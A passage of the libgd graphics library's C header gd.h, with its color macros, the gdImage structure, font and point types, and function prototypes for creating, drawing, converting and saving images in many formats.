define BGD_EXPORT_DATA_PROT __attribute__ ((visibility ("default"))) # define BGD_EXPORT_DATA_IMPL __attribute__ ((visibility ("hidden"))) # else # define BGD_EXPORT_DATA_PROT # define BGD_EXPORT_DATA_IMPL # endif # define BGD_STDCALL #endif #define BGD_DECLARE(rt) BGD_EXPORT_DATA_PROT rt BGD_STDCALL /* VS2012+ disable keyword macroizing unless _ALLOW_KEYWORD_MACROS is set We define inline, snprintf, and strcasecmp if they're missing */ #ifdef _MSC_VER # define _ALLOW_KEYWORD_MACROS # ifndef inline # define inline __inline # endif # ifndef strcasecmp # define strcasecmp _stricmp # endif #if _MSC_VER < 1900 extern int snprintf(char*, size_t, const char*, ...); #endif #endif #ifdef __cplusplus extern "C" { #endif /* gd.h: declarations file for the graphic-draw module. * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, provided * that the above copyright notice appear in all copies and that both that * copyright notice and this permission notice appear in supporting * documentation. This software is provided "AS IS." Thomas Boutell and * Boutell.Com, Inc. disclaim all warranties, either express or implied, * including but not limited to implied warranties of merchantability and * fitness for a particular purpose, with respect to this code and accompanying * documentation. */ /* stdio is needed for file I/O. */ #include <stdio.h> #include <stdarg.h> #include "gd_io.h" /* The maximum number of palette entries in palette-based images. In the wonderful new world of gd 2.0, you can of course have many more colors when using truecolor mode. */ #define gdMaxColors 256 /* Image type. See functions below; you will not need to change the elements directly. Use the provided macros to access sx, sy, the color table, and colorsTotal for read-only purposes. */ /* If 'truecolor' is set true, the image is truecolor; pixels are represented by integers, which must be 32 bits wide or more. True colors are repsented as follows: ARGB Where 'A' (alpha channel) occupies only the LOWER 7 BITS of the MSB. This very small loss of alpha channel resolution allows gd 2.x to keep backwards compatibility by allowing signed integers to be used to represent colors, and negative numbers to represent special cases, just as in gd 1.x. */ #define gdAlphaMax 127 #define gdAlphaOpaque 0 #define gdAlphaTransparent 127 #define gdRedMax 255 #define gdGreenMax 255 #define gdBlueMax 255 /** * Group: Color Decomposition */ /** * Macro: gdTrueColorGetAlpha * * Gets the alpha channel value * * Parameters: * c - The color * * See also: * - <gdTrueColorAlpha> */ #define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24) /** * Macro: gdTrueColorGetRed * * Gets the red channel value * * Parameters: * c - The color * * See also: * - <gdTrueColorAlpha> */ #define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16) /** * Macro: gdTrueColorGetGreen * * Gets the green channel value * * Parameters: * c - The color * * See also: * - <gdTrueColorAlpha> */ #define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8) /** * Macro: gdTrueColorGetBlue * * Gets the blue channel value * * Parameters: * c - The color * * See also: * - <gdTrueColorAlpha> */ #define gdTrueColorGetBlue(c) ((c) & 0x0000FF) /** * Group: Effects * * The layering effect * * When pixels are drawn the new colors are "mixed" with the background * depending on the effect. * * Note that the effect does not apply to palette images, where pixels * are always replaced. * * Modes: * gdEffectReplace - replace pixels * gdEffectAlphaBlend - blend pixels, see <gdAlphaBlend> * gdEffectNormal - default mode; same as gdEffectAlphaBlend * gdEffectOverlay - overlay pixels, see <gdLayerOverlay> * gdEffectMultiply - overlay pixels with multiply effect, see * <gdLayerMultiply> * * See also: * - <gdImageAlphaBlending> */ #define gdEffectReplace 0 #define gdEffectAlphaBlend 1 #define gdEffectNormal 2 #define gdEffectOverlay 3 #define gdEffectMultiply 4 #define GD_TRUE 1 #define GD_FALSE 0 #define GD_EPSILON 1e-6 #ifndef M_PI # define M_PI 3.14159265358979323846 #endif /* This function accepts truecolor pixel values only. The source color is composited with the destination color based on the alpha channel value of the source color. The resulting color is opaque. */ BGD_DECLARE(int) gdAlphaBlend (int dest, int src); BGD_DECLARE(int) gdLayerOverlay (int dest, int src); BGD_DECLARE(int) gdLayerMultiply (int dest, int src); /** * Group: Color Quantization * * Enum: gdPaletteQuantizationMethod * * Constants: * GD_QUANT_DEFAULT - GD_QUANT_LIQ if libimagequant is available, * GD_QUANT_JQUANT otherwise. * GD_QUANT_JQUANT - libjpeg's old median cut. Fast, but only uses 16-bit * color. * GD_QUANT_NEUQUANT - NeuQuant - approximation using Kohonen neural network. * GD_QUANT_LIQ - A combination of algorithms used in libimagequant * aiming for the highest quality at cost of speed. * * Note that GD_QUANT_JQUANT does not retain the alpha channel, and * GD_QUANT_NEUQUANT does not support dithering. * * See also: * - <gdImageTrueColorToPaletteSetMethod> */ enum gdPaletteQuantizationMethod { GD_QUANT_DEFAULT = 0, GD_QUANT_JQUANT = 1, GD_QUANT_NEUQUANT = 2, GD_QUANT_LIQ = 3 }; /** * Group: Transform * * Constants: gdInterpolationMethod * * GD_BELL - Bell * GD_BESSEL - Bessel * GD_BILINEAR_FIXED - fixed point bilinear * GD_BICUBIC - Bicubic * GD_BICUBIC_FIXED - fixed point bicubic integer * GD_BLACKMAN - Blackman * GD_BOX - Box * GD_BSPLINE - BSpline * GD_CATMULLROM - Catmullrom * GD_GAUSSIAN - Gaussian * GD_GENERALIZED_CUBIC - Generalized cubic * GD_HERMITE - Hermite * GD_HAMMING - Hamming * GD_HANNING - Hannig * GD_MITCHELL - Mitchell * GD_NEAREST_NEIGHBOUR - Nearest neighbour interpolation * GD_POWER - Power * GD_QUADRATIC - Quadratic * GD_SINC - Sinc * GD_TRIANGLE - Triangle * GD_WEIGHTED4 - 4 pixels weighted bilinear interpolation * GD_LINEAR - bilinear interpolation * * See also: * - <gdImageSetInterpolationMethod> * - <gdImageGetInterpolationMethod> */ typedef enum { GD_DEFAULT = 0, GD_BELL, GD_BESSEL, GD_BILINEAR_FIXED, GD_BICUBIC, GD_BICUBIC_FIXED, GD_BLACKMAN, GD_BOX, GD_BSPLINE, GD_CATMULLROM, GD_GAUSSIAN, GD_GENERALIZED_CUBIC, GD_HERMITE, GD_HAMMING, GD_HANNING, GD_MITCHELL, GD_NEAREST_NEIGHBOUR, GD_POWER, GD_QUADRATIC, GD_SINC, GD_TRIANGLE, GD_WEIGHTED4, GD_LINEAR, GD_METHOD_COUNT = 23 } gdInterpolationMethod; /* define struct with name and func ptr and add it to gdImageStruct gdInterpolationMethod interpolation; */ /* Interpolation function ptr */ typedef double (* interpolation_method )(double); /* Group: Types typedef: gdImage typedef: gdImagePtr The data structure in which gd stores images. <gdImageCreate>, <gdImageCreateTrueColor> and the various image file-loading functions return a pointer to this type, and the other functions expect to receive a pointer to this type as their first argument. *gdImagePtr* is a pointer to *gdImage*. See also: <Accessor Macros> (Previous versions of this library encouraged directly manipulating the contents ofthe struct but we are attempting to move away from this practice so the fields are no longer documented here. If you need to poke at the internals of this struct, feel free to look at *gd.h*.) */ typedef struct gdImageStruct { /* Palette-based image pixels */ unsigned char **pixels; int sx; int sy; /* These are valid in palette images only. See also 'alpha', which appears later in the structure to preserve binary backwards compatibility */ int colorsTotal; int red[gdMaxColors]; int green[gdMaxColors]; int blue[gdMaxColors]; int open[gdMaxColors]; /* For backwards compatibility, this is set to the first palette entry with 100% transparency, and is also set and reset by the gdImageColorTransparent function. Newer applications can allocate palette entries with any desired level of transparency; however, bear in mind that many viewers, notably many web browsers, fail to implement full alpha channel for PNG and provide support for full opacity or transparency only. */ int transparent; int *polyInts; int polyAllocated; struct gdImageStruct *brush; struct gdImageStruct *tile; int brushColorMap[gdMaxColors]; int tileColorMap[gdMaxColors]; int styleLength; int stylePos; int *style; int interlace; /* New in 2.0: thickness of line. Initialized to 1. */ int thick; /* New in 2.0: alpha channel for palettes. Note that only Macintosh Internet Explorer and (possibly) Netscape 6 really support multiple levels of transparency in palettes, to my knowledge, as of 2/15/01. Most common browsers will display 100% opaque and 100% transparent correctly, and do something unpredictable and/or undesirable for levels in between. TBB */ int alpha[gdMaxColors]; /* Truecolor flag and pixels. New 2.0 fields appear here at the end to minimize breakage of existing object code. */ int trueColor; int **tpixels; /* Should alpha channel be copied, or applied, each time a pixel is drawn? This applies to truecolor images only. No attempt is made to alpha-blend in palette images, even if semitransparent palette entries exist. To do that, build your image as a truecolor image, then quantize down to 8 bits. */ int alphaBlendingFlag; /* Should the alpha channel of the image be saved? This affects PNG at the moment; other future formats may also have that capability. JPEG doesn't. */ int saveAlphaFlag; /* There should NEVER BE ACCESSOR MACROS FOR ITEMS BELOW HERE, so this part of the structure can be safely changed in new releases. */ /* 2.0.12: anti-aliased globals. 2.0.26: just a few vestiges after switching to the fast, memory-cheap implementation from PHP-gd. */ int AA; int AA_color; int AA_dont_blend; /* 2.0.12: simple clipping rectangle. These values must be checked for safety when set; please use gdImageSetClip */ int cx1; int cy1; int cx2; int cy2; /* 2.1.0: allows to specify resolution in dpi */ unsigned int res_x; unsigned int res_y; /* Selects quantization method, see gdImageTrueColorToPaletteSetMethod() and gdPaletteQuantizationMethod enum. */ int paletteQuantizationMethod; /* speed/quality trade-off. 1 = best quality, 10 = best speed. 0 = method-specific default. Applicable to GD_QUANT_LIQ and GD_QUANT_NEUQUANT. */ int paletteQuantizationSpeed; /* Image will remain true-color if conversion to palette cannot achieve given quality. Value from 1 to 100, 1 = ugly, 100 = perfect. Applicable to GD_QUANT_LIQ.*/ int paletteQuantizationMinQuality; /* Image will use minimum number of palette colors needed to achieve given quality. Must be higher than paletteQuantizationMinQuality Value from 1 to 100, 1 = ugly, 100 = perfect. Applicable to GD_QUANT_LIQ.*/ int paletteQuantizationMaxQuality; gdInterpolationMethod interpolation_id; interpolation_method interpolation; } gdImage; typedef gdImage *gdImagePtr; /* Point type for use in polygon drawing. */ /** * Group: Types * * typedef: gdPointF * Defines a point in a 2D coordinate system using floating point * values. * x - Floating point position (increase from left to right) * y - Floating point Row position (increase from top to bottom) * * typedef: gdPointFPtr * Pointer to a <gdPointF> * * See also: * <gdImageCreate>, <gdImageCreateTrueColor>, **/ typedef struct { double x, y; } gdPointF, *gdPointFPtr; /* Group: Types typedef: gdFont typedef: gdFontPtr A font structure, containing the bitmaps of all characters in a font. Used to declare the characteristics of a font. Text-output functions expect these as their second argument, following the <gdImagePtr> argument. <gdFontGetSmall> and <gdFontGetLarge> both return one. You can provide your own font data by providing such a structure and the associated pixel array. You can determine the width and height of a single character in a font by examining the w and h members of the structure. If you will not be creating your own fonts, you will not need to concern yourself with the rest of the components of this structure. Please see the files gdfontl.c and gdfontl.h for an example of the proper declaration of this structure. > typedef struct { > // # of characters in font > int nchars; > // First character is numbered... (usually 32 = space) > int offset; > // Character width and height > int w; > int h; > // Font data; array of characters, one row after another. > // Easily included in code, also easily loaded from > // data files. > char *data; > } gdFont; gdFontPtr is a pointer to gdFont. */ typedef struct { /* # of characters in font */ int nchars; /* First character is numbered... (usually 32 = space) */ int offset; /* Character width and height */ int w; int h; /* Font data; array of characters, one row after another. Easily included in code, also easily loaded from data files. */ char *data; } gdFont; /* Text functions take these. */ typedef gdFont *gdFontPtr; typedef void(*gdErrorMethod)(int, const char *, va_list); BGD_DECLARE(void) gdSetErrorMethod(gdErrorMethod); BGD_DECLARE(void) gdClearErrorMethod(void); /* For backwards compatibility only. Use gdImageSetStyle() for MUCH more flexible line drawing. Also see gdImageSetBrush(). */ #define gdDashSize 4 /** * Group: Colors * * Colors are always of type int which is supposed to be at least 32 bit large. * * Kinds of colors: * true colors - ARGB values where the alpha channel is stored as most * significant, and the blue channel as least significant * byte. Note that the alpha channel only uses the 7 least * significant bits. * Don't rely on the internal representation, though, and * use <gdTrueColorAlpha> to compose a truecolor value, and * <gdTrueColorGetAlpha>, <gdTrueColorGetRed>, * <gdTrueColorGetGreen> and <gdTrueColorGetBlue> to access * the respective channels. * palette indexes - The index of a color palette entry (0-255). * special colors - As listed in the following section. * * Constants: Special Colors * gdStyled - use the current style, see <gdImageSetStyle> * gdBrushed - use the current brush, see <gdImageSetBrush> * gdStyledBrushed - use the current style and brush * gdTiled - use the current tile, see <gdImageSetTile> * gdTransparent - indicate transparency, what is not the same as the * transparent color index; used for lines only * gdAntiAliased - draw anti aliased */ #define gdStyled (-2) #define gdBrushed (-3) #define gdStyledBrushed (-4) #define gdTiled (-5) #define gdTransparent (-6) #define gdAntiAliased (-7) /* Functions to manipulate images. */ /* Creates a palette-based image (up to 256 colors). */ BGD_DECLARE(gdImagePtr) gdImageCreate (int sx, int sy); /* An alternate name for the above (2.0). */ #define gdImageCreatePalette gdImageCreate /* Creates a truecolor image (millions of colors). */ BGD_DECLARE(gdImagePtr) gdImageCreateTrueColor (int sx, int sy); /* Creates an image from various file types. These functions return a palette or truecolor image based on the nature of the file being loaded. Truecolor PNG stays truecolor; palette PNG stays palette-based; JPEG is always truecolor. */ BGD_DECLARE(gdImagePtr) gdImageCreateFromPng (FILE * fd); BGD_DECLARE(gdImagePtr) gdImageCreateFromPngCtx (gdIOCtxPtr in); BGD_DECLARE(gdImagePtr) gdImageCreateFromPngPtr (int size, void *data); /* These read the first frame only */ BGD_DECLARE(gdImagePtr) gdImageCreateFromGif (FILE * fd); BGD_DECLARE(gdImagePtr) gdImageCreateFromGifCtx (gdIOCtxPtr in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGifPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromWBMP (FILE * inFile); BGD_DECLARE(gdImagePtr) gdImageCreateFromWBMPCtx (gdIOCtx * infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromWBMPPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpeg (FILE * infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpegEx (FILE * infile, int ignore_warning); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpegCtx (gdIOCtx * infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpegCtxEx (gdIOCtx * infile, int ignore_warning); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpegPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromJpegPtrEx (int size, void *data, int ignore_warning); BGD_DECLARE(gdImagePtr) gdImageCreateFromWebp (FILE * inFile); BGD_DECLARE(gdImagePtr) gdImageCreateFromWebpPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromWebpCtx (gdIOCtx * infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromTiff(FILE *inFile); BGD_DECLARE(gdImagePtr) gdImageCreateFromTiffCtx(gdIOCtx *infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromTiffPtr(int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromTga( FILE * fp ); BGD_DECLARE(gdImagePtr) gdImageCreateFromTgaCtx(gdIOCtx* ctx); BGD_DECLARE(gdImagePtr) gdImageCreateFromTgaPtr(int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromBmp (FILE * inFile); BGD_DECLARE(gdImagePtr) gdImageCreateFromBmpPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromBmpCtx (gdIOCtxPtr infile); BGD_DECLARE(gdImagePtr) gdImageCreateFromFile(const char *filename); /* Group: Types typedef: gdSource typedef: gdSourcePtr *Note:* This interface is *obsolete* and kept only for *compatibility. Use <gdIOCtx> instead. Represents a source from which a PNG can be read. Programmers who do not wish to read PNGs from a file can provide their own alternate input mechanism, using the <gdImageCreateFromPngSource> function. See the documentation of that function for an example of the proper use of this type. > typedef struct { > int (*source) (void *context, char *buffer, int len); > void *context; > } gdSource, *gdSourcePtr; The source function must return -1 on error, otherwise the number of bytes fetched. 0 is EOF, not an error! 'context' will be passed to your source function. */ typedef struct { int (*source) (void *context, char *buffer, int len); void *context; } gdSource, *gdSourcePtr; /* Deprecated in favor of gdImageCreateFromPngCtx */ BGD_DECLARE(gdImagePtr) gdImageCreateFromPngSource (gdSourcePtr in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd (FILE * in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGdCtx (gdIOCtxPtr in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGdPtr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2 (FILE * in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ptr (int size, void *data); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Part (FILE * in, int srcx, int srcy, int w, int h); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtxPtr in, int srcx, int srcy, int w, int h); BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartPtr (int size, void *data, int srcx, int srcy, int w, int h); /* 2.0.10: prototype was missing */ BGD_DECLARE(gdImagePtr) gdImageCreateFromXbm (FILE * in); BGD_DECLARE(void) gdImageXbmCtx(gdImagePtr image, char* file_name, int fg, gdIOCtx * out); /* NOTE: filename, not FILE */ BGD_DECLARE(gdImagePtr) gdImageCreateFromXpm (char *filename); BGD_DECLARE(void) gdImageDestroy (gdImagePtr im); /* Replaces or blends with the background depending on the most recent call to gdImageAlphaBlending and the alpha channel value of 'color'; default is to overwrite. Tiling and line styling are also implemented here. All other gd drawing functions pass through this call, allowing for many useful effects. Overlay and multiply effects are used when gdImageAlphaBlending is passed gdEffectOverlay and gdEffectMultiply */ BGD_DECLARE(void) gdImageSetPixel (gdImagePtr im, int x, int y, int color); /* FreeType 2 text output with hook to extra flags */ BGD_DECLARE(int) gdImageGetPixel (gdImagePtr im, int x, int y); BGD_DECLARE(int) gdImageGetTrueColorPixel (gdImagePtr im, int x, int y); BGD_DECLARE(void) gdImageAABlend (gdImagePtr im); BGD_DECLARE(void) gdImageLine (gdImagePtr im, int x1, int y1, int x2, int y2, int color); /* For backwards compatibility only. Use gdImageSetStyle() for much more flexible line drawing. */ BGD_DECLARE(void) gdImageDashedLine (gdImagePtr im, int x1, int y1, int x2, int y2, int color); /* Corners specified (not width and height). Upper left first, lower right second. */ BGD_DECLARE(void) gdImageRectangle (gdImagePtr im, int x1, int y1, int x2, int y2, int color); /* Solid bar. Upper left corner first, lower right corner second. */ BGD_DECLARE(void) gdImageFilledRectangle (gdImagePtr im, int x1, int y1, int x2, int y2, int color); BGD_DECLARE(void) gdImageSetClip(gdImagePtr im, int x1, int y1, int x2, int y2); BGD_DECLARE(void) gdImageGetClip(gdImagePtr im, int *x1P, int *y1P, int *x2P, int *y2P); BGD_DECLARE(void) gdImageSetResolution(gdImagePtr im, const unsigned int res_x, const unsigned int res_y); BGD_DECLARE(int) gdImageBoundsSafe (gdImagePtr im, int x, int y); BGD_DECLARE(void) gdImageChar (gdImagePtr im, gdFontPtr f, int x, int y, int c, int color); BGD_DECLARE(void) gdImageCharUp (gdImagePtr im, gdFontPtr f, int x, int y, int c, int color); BGD_DECLARE(void) gdImageString (gdImagePtr im, gdFontPtr f, int x, int y, unsigned char *s, int color); BGD_DECLARE(void) gdImageStringUp (gdImagePtr im, gdFontPtr f, int x, int y, unsigned char *s, int color); BGD_DECLARE(void) gdImageString16 (gdImagePtr im, gdFontPtr f, int x, int y, unsigned short *s, int color); BGD_DECLARE(void) gdImageStringUp16 (gdImagePtr im, gdFontPtr f, int x, int y, unsigned short *s, int color); /* 2.0.16: for thread-safe use of gdImageStringFT and friends, call this before allowing any thread to call gdImageStringFT. Otherwise it is invoked by the first thread to invoke gdImageStringFT, with a very small but real risk of a race condition. Return 0 on success, nonzero on failure to initialize freetype. */ BGD_DECLARE(int) gdFontCacheSetup (void); /* Optional: clean up after application is done using fonts in gdImageStringFT(). */ BGD_DECLARE(void) gdFontCacheShutdown (void); /* 2.0.20: for backwards compatibility. A few applications did start calling this function when it first appeared although it was never documented. Simply invokes gdFontCacheShutdown. */ BGD_DECLARE(void) gdFreeFontCache (void); /* Calls gdImageStringFT. Provided for backwards compatibility only. */ BGD_DECLARE(char *) gdImageStringTTF (gdImage * im, int *brect, int fg, char *fontlist, double ptsize, double angle, int x, int y, char *string); /* FreeType 2 text output */ BGD_DECLARE(char *) gdImageStringFT (gdImage * im, int *brect, int fg, char *fontlist, double ptsize, double angle, int x, int y, char *string); /* Group: Types typedef: gdFTStringExtra typedef: gdFTStringExtraPtr A structure and associated pointer type used to pass additional parameters to the <gdImageStringFTEx> function. See <gdImageStringFTEx> for the structure definition. Thanks to Wez Furlong. */ /* 2.0.5: provides an extensible way to pass additional parameters. Thanks to Wez Furlong, sorry for the delay. */ typedef struct { int flags; /* Logical OR of gdFTEX_ values */ double linespacing; /* fine tune line spacing for '\n' */ int charmap; /* TBB: 2.0.12: may be gdFTEX_Unicode, gdFTEX_Shift_JIS, gdFTEX_Big5, or gdFTEX_Adobe_Custom; when not specified, maps are searched for in the above order. */ int hdpi; /* if (flags & gdFTEX_RESOLUTION) */ int vdpi; /* if (flags & gdFTEX_RESOLUTION) */ char *xshow; /* if (flags & gdFTEX_XSHOW) then, on return, xshow is a malloc'ed string containing xshow position data for the last string. NB. The caller is responsible for gdFree'ing the xshow string. */ char *fontpath; /* if (flags & gdFTEX_RETURNFONTPATHNAME) then, on return, fontpath is a malloc'ed string containing the actual font file path name used, which can be interesting when fontconfig is in use. The caller is responsible for gdFree'ing the fontpath string. */ } gdFTStringExtra, *gdFTStringExtraPtr; #define gdFTEX_LINESPACE 1 #define gdFTEX_CHARMAP 2 #define gdFTEX_RESOLUTION 4 #define gdFTEX_DISABLE_KERNING 8 #define gdFTEX_XSHOW 16 /* The default unless gdFTUseFontConfig(1); has been called: fontlist is a full or partial font file pathname or list thereof (i.e. just like before 2.0.29) */ #define gdFTEX_FONTPATHNAME 32 /* Necessary to use fontconfig patterns instead of font pathnames as the fontlist argument, unless gdFTUseFontConfig(1); has been called. New in 2.0.29 */ #define gdFTEX_FONTCONFIG 64 /* Sometimes interesting when fontconfig is used: the fontpath element of the structure above will contain a gdMalloc'd string copy of the actual font file pathname used, if this flag is set when the call is made */ #define gdFTEX_RETURNFONTPATHNAME 128 /* If flag is nonzero, the fontlist parameter to gdImageStringFT and gdImageStringFTEx shall be assumed to be a fontconfig font pattern if fontconfig was compiled into gd. This function returns zero if fontconfig is not available, nonzero otherwise. */ BGD_DECLARE(int) gdFTUseFontConfig(int flag); /* These are NOT flags; set one in 'charmap' if you set the gdFTEX_CHARMAP bit in 'flags'. */ #define gdFTEX_Unicode 0 #define gdFTEX_Shift_JIS 1 #define gdFTEX_Big5 2 #define gdFTEX_Adobe_Custom 3 BGD_DECLARE(char *) gdImageStringFTEx (gdImage * im, int *brect, int fg, char *fontlist, double ptsize, double angle, int x, int y, char *string, gdFTStringExtraPtr strex); /* Group: Types typedef: gdPoint typedef: gdPointPtr Represents a point in the coordinate space of the image; used by <gdImagePolygon>, <gdImageOpenPolygon> and <gdImageFilledPolygon> for polygon drawing. > typedef struct { > int x, y; > } gdPoint, *gdPointPtr; */ typedef struct { int x, y; } gdPoint, *gdPointPtr; /** * Typedef: gdRect * * A rectangle in the coordinate space of the image * * Members: * x - The x-coordinate of the upper left corner. * y - The y-coordinate of the upper left corner. * width - The width. * height - The height. * * Typedef: gdRectPtr * * A pointer to a <gdRect> */ typedef struct { int x, y; int width, height; } gdRect, *gdRectPtr; BGD_DECLARE(void) gdImagePolygon (gdImagePtr im, gdPointPtr p, int n, int c); BGD_DECLARE(void) gdImageOpenPolygon (gdImagePtr im, gdPointPtr p, int n, int c); BGD_DECLARE(void) gdImageFilledPolygon (gdImagePtr im, gdPointPtr p, int n, int c); /* These functions still work with truecolor images, for which they never return error. */ BGD_DECLARE(int) gdImageColorAllocate (gdImagePtr im, int r, int g, int b); /* gd 2.0: palette entries with non-opaque transparency are permitted. */ BGD_DECLARE(int) gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a); /* Assumes opaque is the preferred alpha channel value */ BGD_DECLARE(int) gdImageColorClosest (gdImagePtr im, int r, int g, int b); /* Closest match taking all four parameters into account. A slightly different color with the same transparency beats the exact same color with radically different transparency */ BGD_DECLARE(int) gdImageColorClosestAlpha (gdImagePtr im, int r, int g, int b, int a); /* An alternate method */ BGD_DECLARE(int) gdImageColorClosestHWB (gdImagePtr im, int r, int g, int b); /* Returns exact, 100% opaque matches only */ BGD_DECLARE(int) gdImageColorExact (gdImagePtr im, int r, int g, int b); /* Returns an exact match only, including alpha */ BGD_DECLARE(int) gdImageColorExactAlpha (gdImagePtr im, int r, int g, int b, int a); /* Opaque only */ BGD_DECLARE(int) gdImageColorResolve (gdImagePtr im, int r, int g, int b); /* Based on gdImageColorExactAlpha and gdImageColorClosestAlpha */ BGD_DECLARE(int) gdImageColorResolveAlpha (gdImagePtr im, int r, int g, int b, int a); /* A simpler way to obtain an opaque truecolor value for drawing on a truecolor image. Not for use with palette images! */ #define gdTrueColor(r, g, b) (((r) << 16) + \ ((g) << 8) + \ (b)) /** * Group: Color Composition * * Macro: gdTrueColorAlpha * * Compose a truecolor value from its components * * Parameters: * r - The red channel (0-255) * g - The green channel (0-255) * b - The blue channel (0-255) * a - The alpha channel (0-127, where 127 is fully transparent, and 0 is * completely opaque). * * See also: * - <gdTrueColorGetAlpha> * - <gdTrueColorGetRed> * - <gdTrueColorGetGreen> * - <gdTrueColorGetBlue> * - <gdImageColorExactAlpha> */ #define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \ ((r) << 16) + \ ((g) << 8) + \ (b)) BGD_DECLARE(void) gdImageColorDeallocate (gdImagePtr im, int color); /* Converts a truecolor image to a palette-based image, using a high-quality two-pass quantization routine which attempts to preserve alpha channel information as well as R/G/B color information when creating a palette. If ditherFlag is set, the image will be dithered to approximate colors better, at the expense of some obvious "speckling." colorsWanted can be anything up to 256. If the original source image includes photographic information or anything that came out of a JPEG, 256 is strongly recommended. Better yet, don't use these function -- write real truecolor PNGs and JPEGs. The disk space gain of conversion to palette is not great (for small images it can be negative) and the quality loss is ugly. DIFFERENCES: gdImageCreatePaletteFromTrueColor creates and returns a new image. gdImageTrueColorToPalette modifies an existing image, and the truecolor pixels are discarded. gdImageTrueColorToPalette() returns TRUE on success, FALSE on failure. */ BGD_DECLARE(gdImagePtr) gdImageCreatePaletteFromTrueColor (gdImagePtr im, int ditherFlag, int colorsWanted); BGD_DECLARE(int) gdImageTrueColorToPalette (gdImagePtr im, int ditherFlag, int colorsWanted); BGD_DECLARE(int) gdImagePaletteToTrueColor(gdImagePtr src); /* An attempt at getting the results of gdImageTrueColorToPalette to * look a bit more like the original (im1 is the original and im2 is * the palette version */ BGD_DECLARE(int) gdImageColorMatch(gdImagePtr im1, gdImagePtr im2); /* Selects quantization method used for subsequent gdImageTrueColorToPalette calls. See gdPaletteQuantizationMethod enum (e.g. GD_QUANT_NEUQUANT, GD_QUANT_LIQ). Speed is from 1 (highest quality) to 10 (fastest). Speed 0 selects method-specific default (recommended). Returns FALSE if the given method is invalid or not available. */ BGD_DECLARE(int) gdImageTrueColorToPaletteSetMethod (gdImagePtr im, int method, int speed); /* Chooses quality range that subsequent call to gdImageTrueColorToPalette will aim for. Min and max quality is in range 1-100 (1 = ugly, 100 = perfect). Max must be higher than min. If palette cannot represent image with at least min_quality, then image will remain true-color. If palette can represent image with quality better than max_quality, then lower number of colors will be used. This function has effect only when GD_QUANT_LIQ method has been selected and the source image is true-color. */ BGD_DECLARE(void) gdImageTrueColorToPaletteSetQuality (gdImagePtr im, int min_quality, int max_quality); /* Specifies a color index (if a palette image) or an RGB color (if a truecolor image) which should be considered 100% transparent. FOR TRUECOLOR IMAGES, THIS IS IGNORED IF AN ALPHA CHANNEL IS BEING SAVED. Use gdImageSaveAlpha(im, 0); to turn off the saving of a full alpha channel in a truecolor image. Note that gdImageColorTransparent is usually compatible with older browsers that do not understand full alpha channels well. TBB */ BGD_DECLARE(void) gdImageColorTransparent (gdImagePtr im, int color); BGD_DECLARE(void) gdImagePaletteCopy (gdImagePtr dst, gdImagePtr src); typedef int (*gdCallbackImageColor)(gdImagePtr im, int src); BGD_DECLARE(int) gdImageColorReplace(gdImagePtr im, int src, int dst); BGD_DECLARE(int) gdImageColorReplaceThreshold(gdImagePtr im, int src, int dst, float threshold); BGD_DECLARE(int) gdImageColorReplaceArray(gdImagePtr im, int len, int *src, int *dst); BGD_DECLARE(int) gdImageColorReplaceCallback(gdImagePtr im, gdCallbackImageColor callback); BGD_DECLARE(void) gdImageGif (gdImagePtr im, FILE * out); BGD_DECLARE(void) gdImagePng (gdImagePtr im, FILE * out); BGD_DECLARE(void) gdImagePngCtx (gdImagePtr im, gdIOCtx * out); BGD_DECLARE(void) gdImageGifCtx (gdImagePtr im, gdIOCtx * out); BGD_DECLARE(void) gdImageTiff(gdImagePtr im, FILE *outFile); BGD_DECLARE(void *) gdImageTiffPtr(gdImagePtr im, int *size); BGD_DECLARE(void) gdImageTiffCtx(gdImagePtr image, gdIOCtx *out); BGD_DECLARE(void *) gdImageBmpPtr(gdImagePtr im, int *size, int compression); BGD_DECLARE(void) gdImageBmp(gdImagePtr im, FILE *outFile, int compression); BGD_DECLARE(void) gdImageBmpCtx(gdImagePtr im, gdIOCtxPtr out, int compression); /* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all, 1 is FASTEST but produces larger files, 9 provides the best compression (smallest files) but takes a long time to compress, and -1 selects the default compiled into the zlib library. */ BGD_DECLARE(void) gdImagePngEx (gdImagePtr im, FILE * out, int level); BGD_DECLARE(void) gdImagePngCtxEx (gdImagePtr im, gdIOCtx * out, int level); BGD_DECLARE(void) gdImageWBMP (gdImagePtr image, int fg, FILE * out); BGD_DECLARE(void) gdImageWBMPCtx (gdImagePtr image, int fg, gdIOCtx * out); BGD_DECLARE(int) gdImageFile(gdImagePtr im, const char *filename); BGD_DECLARE(int) gdSupportsFileType(const char *filename, int writing); /* Guaranteed to correctly free memory returned by the gdImage*Ptr functions */ BGD_DECLARE(void) gdFree (void *m); /* Best to free this memory with gdFree(), not free() */ BGD_DECLARE(void *) 